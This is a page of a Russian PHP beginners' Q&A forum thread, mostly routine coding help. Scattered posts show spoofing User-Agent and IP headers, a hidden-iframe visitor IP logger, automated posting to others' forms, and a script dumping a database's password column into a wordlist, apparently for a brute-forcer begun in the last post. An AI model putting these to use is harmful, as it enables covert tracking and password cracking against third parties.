PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 [7] 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

LordsTN
11.01.2008, 10:21
2U4eba

может вот так можно:

define ("text","tvoy.htm");
$f=fopen(text,"r");
$st="";
while(!feof($f)){
$st .= fgetss($f);
}
fclose($f);
echo $st;
?>

т.е. урезали весь мусор, дальше через регулярные выражения, находим нужный нам текст, твой разный текст каким критериям должен отвечать?

xaker-boss
11.01.2008, 12:25
Ребята помогите селать один скрипт на php.
Ну чтобы открываеш страничку и там была окошко когда в него в водиш текст и нажимаеш на кнопку ОК то этот текст сохраняется в текстовый документ лежащий рядом с этим скриптом.Плиз если нетрудно

U4eba
11.01.2008, 12:28
Посидел подумал... и написал..
<?
$do=file_get_contents("do.htm");
$ce=file_get_contents("ce.htm");
$po=file_get_contents("po.htm");
$subject=file_get_contents("document.htm");

$matches=preg_replace("/^(".$do.")/i","","".$subject."");
$matches2=preg_replace("/(".$ce.")/i","<br>","".$matches."");
$matches3=preg_replace("/(".$po.")$/i","","".$matches2."");
echo $matches3."<br>";
?>
де в document.htm, текст <u>AAA</u> admin:1234567 <u>ZZZ</u><u>AAA</u> alexs:1234567 <u>ZZZ</u><u>AAA</u> users:password <u>ZZZ</u>

де в do.htm, текст <u>AAA<\/u>

де в ce.htm, текст <u>ZZZ<\/u><u>AAA<\/u>

де в po.htm, текст <u>ZZZ<\/u>

Вроде все отличто только когда дело приходит к большым документам то тогда неработает, что нужно зделать.??я вроде открыл документы в одной строке file_get_contents

U4eba
11.01.2008, 12:37
xaker-boss2
Права нужно будет на *.тхт поставить 777, ето для начала


<?php
$fp=fopen("text.txt", "a+");
while(!feof($fp)){
$z=fgets($fp,1000);
echo $z;
}
fwrite($fp,"".$_POST['text']."");
fclose($fp);
?>
<form method="POST">
<input type=text name="text">
<input type="submit" value="Відправити">
</form>


Походу должно работать ... можно ищо доделать htmlspecialchars для обхода хсс

XopoIII
11.01.2008, 12:45
у меня апач, и народ как сделать чтобы вот я закинул файл в диру сайта(локалка) и чтобы юзеры могли качать его?

xaker-boss
11.01.2008, 12:53
а как сделать чтобы он в фаил записывал в таком формате
2
2
3
3
черес строчку?и ещё там когда второй рас добовляеш он показывает прям в скрипте что добавили первый рас можно какнебуть от этого избавится?

krypt3r
11.01.2008, 13:02
В скрипте замени
fwrite($fp,"".$_POST['text']."");
на
fwrite($fp,"".$_POST['text']."\n");
и убери это

while(!feof($fp)){
$z=fgets($fp,1000);
echo $z;
}

dinar_007
11.01.2008, 13:03
у меня апач, и народ как сделать чтобы вот я закинул файл в диру сайта(локалка) и чтобы юзеры могли качать его?
XopoIII, если ты учиться ничему не хочешь, то будь добр, научись хотя-бы вопросы правильно задавть!!! Конкретнее будь...
Сделай ftp и будут юзеры твой файл оттуда качать...

Exlibris
11.01.2008, 14:10
XopoIII ты хочешь, чтобы люди у тебя в локалке вводили в браузере твой ip и попадали к тебе на апатч?

XopoIII
11.01.2008, 14:56
XopoIII, если ты учиться ничему не хочешь, то будь добр, научись хотя-бы вопросы правильно задавть!!! Конкретнее будь...
Сделай ftp и будут юзеры твой файл оттуда качать...

я задаю вопрос нормально, я хочу без фтп, это реально нет?

XopoIII
11.01.2008, 14:57
XopoIII ты хочешь, чтобы люди у тебя в локалке вводили в браузере твой ip и попадали к тебе на апатч?
нет, чтобы они зайдя на сайт заходили в раздел файлы и оттуда качали файлы

Exlibris
11.01.2008, 15:14
нет, чтобы они зайдя на сайт заходили в раздел файлы и оттуда качали файлы
на самом деле если хочешь чтоб тебе помогли то говори точнее, сайт где буедт? на твоем компе и его должны смотреть только юзеры из твоей сети?
Или сайт в инете и его должны смотреть все?

bul.666
11.01.2008, 15:24
можно ищо доделать htmlspecialchars для обхода хсс
Ну да XSS в TXT файле =\\
2XopoIII они должны вводить в строку адреса http://твой ИП/ Это будет Apache/htdocs/

XopoIII
11.01.2008, 15:53
бул это все понятно сервак стоит и сайт висит, все рабоатет, размещен на локалке.

bul.666
11.01.2008, 15:56
Так какие проблемы?

Exlibris
11.01.2008, 15:58
XopoIII правь файл C:\WINDOWS\system32\drivers\etc\hosts
в нем там в низу замени
127.0.0.1 www.yousite.ru
--
а еще лучше вместо 127.0.0.1 пропиши свой внутренний ip (тот который в лакалке)

U4eba
11.01.2008, 16:08
bul.6662
а что разве можно пхп обробляэца в тхт файле.?
там же есть код который читает тхт и отображает его даные, а если в етом тхт присуствует хсс тогда она будет работать =\\\и для того чтоб неработала и можно поставить фильтер htmlspecialchars
bul.666 =)

Piflit
12.01.2008, 02:55
как реализовать перебор (открытие на чтение, например) всех файлов в данной папке?

Scipio
12.01.2008, 06:55
<?php
$d=opendir(".");
while (($filo=readdir($d))!==false)
{
if ($filo=='.' || $filo=='..' || is_dir($filo)) continue;
$spisok[$filo]=file_get_contents($filo);
}
?>

в ассоциативном массиве $spisok будут элементы с ключами равными именам файлов и со значениями содержания этих файлов, причем только файлов (не папок)

xaker-boss
12.01.2008, 11:56
Люди кому нетрудно подскажите скрипт, чтобы когда его запускаеш рядом лежащия картинка например 123.gif становилась его фонам.

Micr0b
12.01.2008, 13:36
<body background="<?=$_POST['name_img']?>">
<form method="POST">
name img:<input type="text" name="name_img" value="img.jpg">
<input type="submit">
</form>

Можно зделать выборку img з БД или масива..

Macro
12.01.2008, 13:57
Люди кому нетрудно подскажите скрипт, чтобы когда его запускаеш рядом лежащия картинка например 123.gif становилась его фонам.
В смысле, чтобы скрипт сканировал директорию на предмет картинки и выводил бы первую попавшуюся как фон?

<?
$dir=opendir('.');
while(($file=readdir($dir))!==false)
{
if(preg_match('/\.jpg$/i',$file)){echo('<body background="'.$file.'">');break;}
}
?>

inlanger
12.01.2008, 15:56
Можно как-то изменить значение стандартных переменных Php? Например те, которые отвечают за тип браузера и твой Ip?

Macro
12.01.2008, 15:59
Можно как-то изменить значение стандартных переменных Php? Например те, которые отвечают за тип браузера и твой Ip?
Снаружи - при register_globals on иногда можно, но не все. Изнутри можно, по моему тоже не все

inlanger
12.01.2008, 16:10
А подробнее можно? Мне надо "перейтипо ссылке" именно с определённого браузера и определённого диапозона Ip. Но Ip, допустим, у меня есть. Как хотя-бы браузер подделать?

Macro
12.01.2008, 16:13
А подробнее можно? Мне надо "перейтипо ссылке" именно с определённого браузера и определённого диапозона Ip. Но Ip, допустим, у меня есть. Как хотя-бы браузер подделать?
Браузер подделать очень просто - подменить User Agent

inlanger
12.01.2008, 16:42
Ладно, его подменим... А Ip рельно?

inlanger
12.01.2008, 18:04
Хм... Подстановка браузера тож не хочет работать:
пишу

<?php
$site="admex.org";
$request = "GET /login.php?login=inlanger&pass=MYPASS HTTP/1.0\r\n";
$request .= "Host: $site\r\n";
$request .= "Expires: Thu, 01 Jan 1970 00:00:01 GMT\r\n";
$request .= "Cache-Control: no-store, no-cache, must-revalidate\r\n";
$request .= "Pragma: no-cache\r\n";
$request .= "Cookie: income=1\r\n";
$request .= "User-Agent: Opera/8.01 (J2ME/MIDP; Opera Mini/1.2.3214/1684; ru; U; ssr)\r\n";
$request .= "Client-ip: 195.189.142.77\r\n";
$request .= "FORWARDED_FOR: 195.189.142.77\r\n";
$fp2 = fsockopen("$site", 80);
fputs($fp2, $request);
fputs($fp2, "Connection: close\r\n");
fputs($fp2, "\r\n");

while (!feof($fp2)) {
echo fgets($fp2, 128);
}

fclose($fp2);
sleep($time);
?>

А оно мне пишет:
Последний раз вы были на сайте в 16:58:39 / 12-Jan-2008
C ip: 195.24.148.232
C браузера: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 и так постоянно! То есть подмена не происходит?

NNNS
12.01.2008, 21:06
Вопрос по сокетам. Нужно получить инфу лежащую на страничке, которая закрыта авторизацией.
$fp=fsockopen("xxxyyy.ru",80,$errno,$errstr,10);
$out = "GET /in.php?email=yyyzzz@xxx.ru&pass=12345 HTTP/1.0\r\n";
$out .= "Host: xxxyyy.ru\r\n";
$out .= "User-Agent: Firefox\r\n";
$out .= "Referer: xxxyyy.ru/login.php\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type: text/html; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}

авторизация пройдена...
Получаю ответ
HTTP/1.1 302 Found
Server: nginx/0.5.30
Date: Sat, 12 Jan 2008 16:51:21 GMT
Content-Type: text/html; charset=windows-1251
Connection: close
X-Powered-By: PHP/5.2.0-8+etch9
Pragma: no-cache
Cache-control: private, must-revalidate
Set-Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Set-Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Set-Cookie: remixmid=12345; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Set-Cookie: remixemail=yyyzzz@xxx.ru; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Set-Cookie: remixpass=fc6e3893c5802236c07a70d3da0ddef3; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Location: /index.php
Content-Length: 0
Теперь нужно получить контент

$out = "GET /page.php HTTP/1.0\r\n";
$out .= "Host: xxxyyy.ru\r\n";
$out .= "User-Agent: Firefox\r\n";
$out .= "Referer: xxxyyy.ru\r\n";
$out .= "Content-Type: text/html; charset=windows-1251\r\n\r\n";
fwrite($fp, $out);
$ans='';
while(!feof($fp)) {
$ans.=fgets($fp,128);
}
Получаю ответ
HTTP/1.1 302 Found
Server: nginx/0.5.30
Date: Sat, 12 Jan 2008 16:51:21 GMT
Content-Type: text/html; charset=windows-1251
Connection: close
X-Powered-By: PHP/5.1.0-8+etch9
Pragma: no-cache
Cache-control: private, must-revalidate
Set-Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Location: login.php
Content-Length: 0

Вопрос : как "сохранить" авторизацию?

Macro
12.01.2008, 21:21
Те куки, которые тебе передаются ответом, вставляй в следующий запрос

NOmeR1
12.01.2008, 21:25
Если ответ 302 Found, то значит, что страница не получена.

lmns
12.01.2008, 21:25
Всем привет, как можно заменить этот код
<?php
$ip = getenv ("REMOTE_ADDR");
mail("*****@yandex.ru", "ОК", "$ip")
?>
Раньше он работал, а сейчас вместо IP юзера получаю IP сервера на котором это дело висит(agava.net), сервер сменить не могу, админам наверное тоже лучше не писать.
Временно добавил строчку
<iframe src='http://www.HOST.info/' width='1' height='1' style='visibility: hidden;'></iframe>, на "HOST.info" повесил выше изложенный код, работает, а без подобных извращений больше никак нельзя?

NOmeR1
12.01.2008, 21:30
Всем привет, как можно заменить этот код
<?php
$ip = getenv ("REMOTE_ADDR");
mail("*****@yandex.ru", "ОК", "$ip")
?>
Раньше он работал, а сейчас вместо IP юзера получаю IP сервера на котором это дело висит(agava.net), сервер сменить не могу, админам наверное тоже лучше не писать.
Временно добавил строчку
<iframe src='http://www.HOST.info/' width='1' height='1' style='visibility: hidden;'></iframe>, на "HOST.info" повесил выше изложенный код, работает, а без подобных извращений больше никак нельзя?
Если версия PHP > 5, то рекомендую юзать $ip = $_SERVER["HTTP_X_REAL_IP"], ну а вообще не должен отправлять IP серва.

NNNS
12.01.2008, 21:51
Macro, Вставил, не выходит
Отправляю кукисы

Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Cookie: remixchk=5; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Cookie: remixmid=12345; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Cookie: remixemail=yyyzzz@xxx.ru; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru
Cookie: remixpass=fc6e3893c5802236c07a70d3da0ddef3; expires=Sun, 11-Jan-2009 16:51:21 GMT; path=/; domain=.xxxyyy.ru

preg_match("/revalidate(.*?)Location/is", $ans, $cookies);

$cookies = str_replace("Set-", "",$cookies[1]);
$fp=fsockopen("xxxyyy.ru",80,$errno,$errstr,10);
$out = "GET /page.php HTTP/1.0\r\n";
$out .= "Host: xxxyyy.ru\r\n";
$out .= "User-Agent: Firefox\r\n";
$out .= "Referer: xxxyyy.ru\r\n";
$out .= $cookies;
$out .= "Content-Type: text/html; charset=windows-1251\r\n\r\n";
fwrite($fp, $out);
$ans='';
while(!feof($fp)) {
$ans.=fgets($fp,128);
}


Правильно ли я их в заголовок вставил?

lmns
12.01.2008, 22:03
Если версия PHP > 5, то рекомендую юзать $ip = $_SERVER["HTTP_X_REAL_IP"], ну а вообще не должен отправлять IP серва.
IP вообще не приходит, там PHP 4.3.9

Macro
12.01.2008, 22:20
Macro, Вставил, не выходит
Отправляю кукисы


Правильно ли я их в заголовок вставил?
Нет, неправильно, надо их вставить в одной строке, в url encode, разделенные &

Cookie: var1=val1&var2=val2&var3=val3

.:EnoT:.
14.01.2008, 07:39
Что можно сделать если не удаётся установить заголовки перед выводом чего-либо в браузер?

Macro
14.01.2008, 10:20
Что можно сделать если не удаётся установить заголовки перед выводом чего-либо в браузер?
Неудаваться может из-за того, что при компиляции кода возникают ошибки и они выводятся до того, как в коде идет header(); Вообще, можно попробовать вставить в начало скрипта error_reporting(0);

.:EnoT:.
14.01.2008, 11:02
Macro, дело не в этом.
дело в том что мне нужно установить куки после выполнения скрипта, но сделать это до вывода в браузер невозможно(таков скрипт). Соответственно куки скрипт установить не может и выдаёт ошибку. Слышал где-то что каким то образом можно установить заголовки после вывода в браузер, но ничего не нагуглив обращаюсь к вам :)

Macro
14.01.2008, 11:09
Macro, дело не в этом.
дело в том что мне нужно установить куки после выполнения скрипта, но сделать это до вывода в браузер невозможно(таков скрипт). Соответственно куки скрипт установить не может и выдаёт ошибку. Слышал где-то что каким то образом можно установить заголовки после вывода в браузер, но ничего не нагуглив обращаюсь к вам :)
Можно, с помощью html или javascript
В данном случае лучше с помощью javascript.

<script language=JavaScript>
document.cookie="var=val";
</script>

.:EnoT:.
14.01.2008, 11:20
джава скрипт это первое что пришло на ум)) но если у клиента он выключен в браузере? Буду конечно его использовать в случае если на php ничего не выйдет....

Macro
14.01.2008, 11:32
джава скрипт это первое что пришло на ум)) но если у клиента он выключен в браузере? Буду конечно его использовать в случае если на php ничего не выйдет....
На php нельзя отправить куки после отправки содержимого страницы НИКАК

groundhog
14.01.2008, 11:46
Macro, двойка тебе по PHP! Ты про кеширование вывода читал? Про функции ob_start() и подобные ob_*?

Пример:

ob_start()
...
echo "!!!!!";
...
echo "!!!!!";
set_cookie(...);
ob_end_flush();

Macro
14.01.2008, 11:50
Macro, двойка тебе по PHP! Ты про кеширование вывода читал? Про функции ob_start() и подобные ob_*?

Пример:

ob_start()
...
echo "!!!!!";
...
echo "!!!!!";
set_cookie(...);
ob_end_flush();
Какая разница-то? Все равно куки передаются в хедере ДО вывода страницы, я про что говорю-то.

.:EnoT:.
14.01.2008, 11:54
groundhog Спасибо. Была мысль про кеширование, но чёт подумал что не пойдёт это...
Не обижай Макро, он хороший :)

Корвин
14.01.2008, 12:02
у меня есть таблица,как средствами php удалить последний <td> из нее?

groundhog
14.01.2008, 12:08
Макро, ты противоречишь сам себе! Ты написал:

На php нельзя отправить куки после отправки содержимого страницы НИКАК
Функции семейства ob_* гарантируют, что любой вывод будет прокеширован, и что любой хидер пойдёт в вывод ПЕРЕД этим кешем... Следовательно, любой хидер (в том числе и куки) МОЖНО отправить после начала вывода, да и в самом конце тоже можно...

Корвин, по твоему описанию последний TD не выщимешь... Нужен пример кода... А так - используй preg_replace...

Macro
14.01.2008, 12:11
Макро, ты противоречишь сам себе!
Функции семейства ob_* гарантируют, что любой вывод будет прокеширован, и что любой хидер пойдёт в вывод ПЕРЕД этим кешем... Следовательно, любой хидер (в том числе и куки) МОЖНО отправить после начала вывода, да и в самом конце тоже можно...

Я себе не противоречу, вывод все равно осуществится в порядке: хедер => контент, иначе никак, именно это я и имел ввиду. А прокешировать можно, честно говоря не вспомнил об этом.

.:EnoT:.
14.01.2008, 12:13
у меня есть таблица,как средствами php удалить последний <td> из нее?
ты это имеешь ввиду так?

$td = "<table><tr><td>......</td></tr>";
$td = str_replace("</td>"," ", $td);
echo "$td";

А, сори, этот скрипт будет удалять все </td>, не то...

Isis
14.01.2008, 12:17
.:EnoT:., да?
А если
$td = '<table><tr><td>......</td><td>.......</td></tr></table>';
Теперь твой код удалить последний </td> ?

Корвин
14.01.2008, 12:23
нет,так удаляца все </td> из кода,а мне нужно вот так:

<table>
<tr>
<td>asd</td>
<td>asd</td>
<td>asd</td>
<td>asd</td>
<td>asd1</td>
</tr>
<tr>
<td>asd</td>
<td>asd</td>
<td>asd</td>
<td>asd</td>
<td>asd2</td>
</tr>
</table>

<td>asd1</td> и <td>asd2</td> в столбиках нада удалить

.:EnoT:.
14.01.2008, 12:24
Isis
я же выше отредактировал сообщение и написал что я ошибся, за 2 минуты до твоего поста :)

Корвин
14.01.2008, 16:48
я кароч нашол выход))) спасибо еноту, навел на мысль, я заменил везде
<td>asd1</td>
на
<td style="display:none">asd1</td>

cyber_rat
15.01.2008, 04:16
Здравствуйте. Есть несколько вопросов - буду очен рад помощи.
1. Есть некая страница с формой. Данные с формы в обработчик отправляются методом Post из-за чего я незнаю как формируется запрос к обработчику.
Вопрос: Как узнать и сформировать запрос для отправки неких данных из своего скрипта обработчику формы на этой странице?

2. Информацию о чтении капчи надеюсь найти и надеюсь научиться распознавать простые капчи. А вот как извлечь картинку со страницы для последующего распознавания, если она генерируется скриптом ?

Спасибо за внимание. Надеюсь на толковую помощь.

bul.666
15.01.2008, 04:25
1. Чет не понял. Тебе нужно пример http заголовка написать? Или ты пишешь скрипт, но не знаешь как POST запросы обрабатывать?

2. Ну надо найти в соцах <img src=catpth.gif> Или captch.php Вот c этим уже работать...

cyber_rat
15.01.2008, 04:41
Мне нужно отправить некоторые данные обработчику той страницы с формой, но я незнаю как сформировать сам запрос.

bul.666
15.01.2008, 05:05
Можно:
1. Составить такуюже форму и отправить её обработчику
2. Можно составить http пакет

cyber_rat
15.01.2008, 05:24
Как проделать второе ?

XopoIII
15.01.2008, 05:59
вот идут две выборки из бд

$opit='SELECT * FROM sh_savexp ORDER BY XP DESC';
$opit1=$db->sql_query($opit);

$opit2='SELECT * FROM sh_saveskills';
$opit3=$db->sql_query($opit2);

из первой я выбираю

while($who=mysql_fetch_array($opit1)){
echo "<b>Ник: </b>".$who['PLAYER_NAME']." - <b>ХР:</b> ".$who['XP']." - <b>Уровень:</b> ".$who['SKILL_COUNT']."";
}

все нормально

но проблема, мне нужно из второй выборки вывод данных привязать к выводу первой


в первой таблиуе есть ip уровень опыт, а во второй ip и расса, я вывожу вайлом первую, все нормально, но к этому выводу нужно привезать вывод рассы

вот=( непойму как сделать

из первого вайла выводится приверно
Ник: Smooth Criminal - ХР: 894 - Уровень: 2

нада сравнить ип и вывести после уровня рассу, вот

.:EnoT:.
15.01.2008, 06:35
Мне нужно отправить некоторые данные обработчику той страницы с формой, но я незнаю как сформировать сам запрос.
может я что-то не так понял, но если тебе нужно отправить данные обработчику а в обработчике получить эти данные то всё очень просто:
<?php
#Делаем форму
echo'
<form action method="post">
<input type="text" name="bugaga" />
<input type="submit" name="go" />
</form>';
#Делаем обработчик
if(isset($_POST['go']))
{
#Если нажата кнопка отправить
$bugaga = $_POST['bugaga'];
#Записываем данные из формы в переменную
#......и далее делаем чё хотим
}?>

.:EnoT:.
15.01.2008, 06:43
XopoIII
так делай запрос к двум таблицам сразу...в чём проблема то?))

cyber_rat
15.01.2008, 12:12
Енот, ты немного не так понял. Есть чужой сайт, на нем страница с формой. Мне необходимо написать скрипт, который будет отправлять некоторые данные в эту форму. И я незнаю как это сделать. Если бы после отправки данных URL принимал такой вид: site.ru/form.php?blabla=opera+blublu=IE
то я смог бы сформировать такой запрос, просто подставляя некоторые значения скриптом. А поскольку URL на том сайте всегда "чистенький", данные POST-ом передаются - я незнаю как своим скриптом формировать такой запрос.

.:EnoT:.
15.01.2008, 12:22
Енот, ты немного не так понял. Есть чужой сайт, на нем страница с формой. Мне необходимо написать скрипт, который будет отправлять некоторые данные в эту форму.
Тогда всё очень просто. Берёшь выдираешь фому с того сайта и правишь в ней путь к обработчику на полный урл.
к примеру там форма:
<form action="obrabotchik.php" method="post">
И ты это дело правишь на полный путь к тому сайту:
<form action="http://site.ru/obrabotchik.php" method="post">
плюс если скрипт лежит в дериктории какой-нибудь то указывай её тоже)

С капчёй нужно смотреть конкретно что за капча, выложи или ссылку дай. А вообще обратись к Nomer1 он лучше знает про взлом капчи :)

cyber_rat
15.01.2008, 12:41
А что мне толку от того, что я подделаю форму, если я программно хочу данные ей передавать ?

.:EnoT:.
15.01.2008, 13:12
А что мне толку от того, что я подделаю форму, если я программно хочу данные ей передавать ?
ну дык ты со своего сайта отправишь данные в обработчик формы нужного тебе сайта....всё в точности что ты описал

Helios
15.01.2008, 13:25
2cyber_rat

Вот формат пост-запроса, отправляй его на сервер через сокет:


POST /scriptname.php HTTP/1.1
Host: yoursite.com
Content-Length: 12

var=val&a=bc

Content-Length - длина тела запроса (var=val&a=bc)

V1k
15.01.2008, 13:29
cyber_cat,
понятный мануал http://php.su/articles/?cat=protocols&page=002
ps вопрос пицотмилионный=)

SSB1981
15.01.2008, 20:04
Скажите: можно ли создать анимацию средствами Php?
Если да, то напишите пожалуйста по подробнее.

-=lebed=-
16.01.2008, 02:03
Написал функцию выдирающую запись из одной колонки (passwd) и скрипт, который записывает пассы в файл:

function get_pass($id)
{
global $db_table;
$query = "SELECT `passwd` from ".$db_table." WHERE `passwd` IS NOT NULL limit ".$id.",1";
$r=mysql_query($query);
$get_pass=mysql_fetch_array($r);
$pass=$get_pass[0];
if ($pass) return $pass;
else return false;
}

скрипт:

<?
include('conf.php');
include('function.php'); //содержит функцию, та что выше
ignore_user_abort(1);
set_time_limit(0);

$fd = fopen("./pass/dict.txt", "w");
$id = 0;
$pass =1;
while($pass)
{
$pass=get_pass($id);
fputs($fd, $pass."\r\n");
$id++;
sleep(0.1);
}
$id--;
echo "в файл выгружено: ".$id." паролей <br>";
fclose($fd);
?>

Вообщем дампится только 4348 паролей (хотя их в базе больше) думал трабла в set_time_limit (установлена хостером и изм. нельзя) поэтому пробовал sleep(0.1) ставить - всё равно паролей выгружается ровно 4348. В чём трабла может быть?

ЗЫ подозреваю, что надо экранировать спецсимволы, которые могут встретиться в пассе так?

Helios
16.01.2008, 02:09
Судя по всему, ограничение на количество запросов к мускулу на соединение. Делай выборку из базы большими партиями или вообще все сразу.

-=lebed=-
16.01.2008, 02:12
Судя по всему, ограничение на количество запросов к мускулу на соединение. Делай выборку из базы большими партиями или вообще все сразу.
в массив пачками, а по сколько оптимально? записей около 220К

Helios
16.01.2008, 02:15
По 150-200 записей выбирай, можно больше

Spyder
16.01.2008, 02:27
впринципе по 1К можно, должно нормально работать/

-=lebed=-
16.01.2008, 02:35
впринципе по 1К можно, должно нормально работать/
А массив в качестве результата функции можно вернуть в php?

Helios
16.01.2008, 02:37
да, можно

Spyder
16.01.2008, 02:39
ой, я правда пшп не знаю
Попробуй в цикл запихнуть функцю mysql_fetch_array

Spyder
16.01.2008, 02:50
вобщем что то типа этого на перле
while (@array = $sth->FetchRow()) {
foreach $i (@array) {
print "$i\n";
}
}
т е записываешь результат функции в массив и выводишь по одному
в пшп будет
@array = mysql_fetch_array($query)
или
while ($result = mysql_fetch_array($query))

-=lebed=-
16.01.2008, 03:08
как массив писать в файл лучше (побыстрее) по элементам? или можно сразу записать?

Helios
16.01.2008, 03:28
fwrite($file, implode("\n", $array));

-=lebed=-
16.01.2008, 03:50
fwrite($file, implode("\n", $array));
Вроде получилось! Завтра отпишу результат...

XopoIII
16.01.2008, 08:12
народ подскажите как сделать
есть две таблицы, из одной я вывожу имена , нужно чтобы при нажатии на имя открывалось окно в котором показывался возраст именно этого человека, на которого я нажал, как так сделать.

.:EnoT:.
16.01.2008, 08:32
XopoIII
ну можно попробовать таким образом, но это конечно извращенство:
<?php
$sql = mysql_query("SELECT * FROM `table`");
while($row = mysql_fetch_array($sql))
{
#выводим всё что надо
#делаем ссылку на юзера
echo <a href='page.php?vozrast=".$id."';
}
#Далее если указано id выводим возраст указаного юзера
if(isset($_GET['vozrast']))
{
#выводим возраст указанного юзера
$id = intval($_GET['vozrast']);
$sql = mysql_query(.....);
# и т.д.
}
?>

Macro
16.01.2008, 11:22
народ подскажите как сделать
есть две таблицы, из одной я вывожу имена , нужно чтобы при нажатии на имя открывалось окно в котором показывался возраст именно этого человека, на которого я нажал, как так сделать.

<?
if(isset($_GET['name'])) //если нажали на ссылку с именем человека
{
$name=mysql_escape_string($_GET['name']);
$q=mysql_query('SELECT vozrast FROM chels WHERE name=\''.$name.'\'');
echo('<b>Возраст: </b>'.$q); //выводим возраст
}
else //если не нажали, то выводим список человек
{
$q=mysql_query("SELECT name FROM chels");
while($qq=mysql_fetch_array($q))
{
$name=$qq['name'];
echo('<a href="?name='.$name.' target=_blank>'.$name.'</a><br>');
}
}
?>


Так лучше

-=lebed=-
16.01.2008, 14:32
Вообщем сделал так:

// Функция получения 1000 паролей из базы начиная с номера=id
function get_pass($id)
{
global $db_table;
global $id;
$query = "SELECT `passwd` from ".$db_table." WHERE `passwd` IS NOT NULL limit ".$id.",1000";
$r=mysql_query($query);
if($r)
{

while($db_pass = mysql_fetch_array($r))
{
$get_pass[$id]=$db_pass['passwd']."\n";
$id++;
}
}
else
{
echo "<p><b>Error: ".mysql_error()."</b><p>";
$get_pass=false;

}
return $get_pass;
}
Читаем из базы 1000 паролей, начиная с записи $id и возвращаем в виде массива $get_pass (1000 записей)

Вызываем функцию в цикле:

<?
include('conf.php');
include('function.php');
ignore_user_abort(1);
set_time_limit(0);
$fd = fopen("./pass/dict.txt", 'w');
$id = 0;
$pass = array('типа..', 'пароль1', 'пароль2');
while($pass)
{
$pass=get_pass($id);
$string=implode($pass);
fwrite($fd, $string);
// $id=$id+1000; - тут не надо! $id - глобальная!
}
echo "в файл выгружено: ".$id." паролей <br>";
fclose($fd);
?>


Выгрузилось реально 115000 паролей, хотя написал что 230000.... хм... попробовать по 2 тыс. выгружать?

Изминил лимит на 2000 пишет:

в файл выгружено: 231756 паролей

Но реально в файле в два раза меньше, где ошибка? :confused:

А понял! не надо второй раз 1000 прибавлять $id глобальная, а так пропуск по 1000 шт. получается, она инкрементится в функции и её значение не сбрасывается... ;)
Щас исправлю... :D

astrologer
16.01.2008, 14:44
Выгрузилось реально 115000 паролей, хотя написал что 230000.... хм... попробовать по 2 тыс. выгружать?
$id увеличивается в этом цикле тысячу раз на единицу:
while($db_pass = mysql_fetch_array($r))
{
$get_pass[$id]=$db_pass['passwd']."\n";
$id++;
} и здесь ещё на тысячу:
while($pass)
{
$pass=get_pass($id);
$string=implode($pass);
fwrite($fd, $string);
$id=$id+1000;
}
P.S. если не делать $id глобальной переменной, должно как надо работать

cylaaaan
16.01.2008, 17:10
привет, помогите плз.

$cr=curl_init("http://site.ru/");
curl_setopt($cr, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
curl_setopt($cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
curl_setopt($cr, CURLOPT_TIMEOUT, 20);
curl_setopt($cr, CURLOPT_HEADER, 1);
curl_setopt($cr, CURLOPT_POSTFIELDS, "param=1&param2=2&param3=3");
curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cr, CURLOPT_REFERER, "http://MTS-EXpress");
curl_setopt($cr,CURLOPT_PROXY,$proxy);
$r = curl_exec($cr);
curl_close($cr);
echo "$r";


$r = curl_exec($cr);
// это как я понял в переменной он напускает сам пост-запрос.
Но мне нужно, что-то вроде выдиралки... Посылаю пост-запрос, скрипт ищет любое указанное мною слово из полученного html кода по пост-запросу...

на перле выглядит так:


$ua = LWP::UserAgent->new;
my $req = new HTTP::Request POST => "http://site.ru/index.php";
$req->user_agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709); .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)");
$req->content_type("application/x-www-form-urlencoded");
$req->content("a=1&b=1&c=3");
my $res = $ua->request($req);

if ($res->content =~ /ПОИСК УКАЗАННОГО СЛОВА/) { print "да, данное слово есть"; } else { print "нету такого слова"; }


Вот, собственно, как мне этот скрипт на perl переписать на php

groundhog
16.01.2008, 17:31
В PHP есть регуляный поиск... Регулярки такие же как и в Perl'е что тебе мешает им воспользоваться? Вот пример:

preg_match('/(ПОИСК УКАЗАННОГО СЛОВА)/', $matches);
echo $matches[1];

cylaaaan
16.01.2008, 18:46
спасибо, помогло.

$r = curl_exec($cr);
curl_close($cr);
$s = "echo '$r'";


потом условие

if ( preg_match ( "/СЛОВО/i" , "$s" )) {} else {}

Doom123
17.01.2008, 02:36
Привет! у меня вопрос... я пытаюсь написать брутер

у меня массив
$a = array(a..Z);

И максимальная длина пароля скажем $len = 3

тоесть $a[].$a[].$a[]

как сделать так чтоб например красный сделал полный круг тоесть от "A" до "Z" а зелёного и синего быть не должно .. потом после полного круга к зелёному добавится +1 тоесть из ничего станет
